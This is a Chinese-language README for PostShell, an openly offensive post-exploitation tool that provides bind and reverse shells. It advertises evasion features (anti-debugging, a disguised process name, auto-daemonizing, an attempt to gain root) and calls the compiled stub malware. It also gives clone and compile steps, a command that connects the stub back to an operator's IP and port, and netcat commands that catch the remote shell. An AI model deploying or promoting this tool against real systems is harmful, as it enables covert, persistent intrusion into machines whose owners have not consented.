PostShell

PostShell 是一个后渗透 shell，同时包含绑定 shell 和反向连接 shell。它创建一个完全交互式的 TTY，允许作业控制。生成的 stub 大小约为 14kb，可在任何类 Unix 系统上编译。

截图

连接启动后，横幅及与 shell 的交互界面。

为什么不使用传统的反向连接/绑定 Shell？

PostShell 使后渗透攻击更加容易，攻击者不再依赖 Python 和 Perl 等依赖项。它还同时集成了反向连接和绑定 shell，这意味着如果目标不允许出站连接，操作员可以简单地启动一个绑定 shell 并远程连接到该机器。此外，PostShell 比传统 shell 更不易引起怀疑，因为进程名称和参数都被伪装了。

功能

• 反调试，如果检测到 ptrace 附加到 shell 则会退出。
• 进程名称/线程名称被伪装，虚假名称覆盖所有系统参数和文件名，使其看起来像一个合法程序。
• TTY，创建一个虚拟终端，基本上可以像通过 SSH 连接一样使用机器。
• 绑定/反向连接 shell，可以创建绑定 shell 和反向连接。
• 小体积 stub，通常生成非常小的 stub（<14kb）。
• 自动守护进程化
• 尝试将 GUID/UID 设置为 0（root）

开始使用

1. 下载：git clone https://github.com/rek7/postshell
2. 编译：cd postshell && sh compile.sh 这将创建一个名为 "stub" 的二进制文件，这就是恶意软件。

命令

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

使用示例

反向连接：

$ ./stub 127.0.0.1 13377

绑定 Shell：

$ ./stub 13377

使用 Netcat 接收连接

接收反向连接：

$ nc -vlp port

连接到绑定 Shell：

$ nc host port

TODO:

• 添加域名解析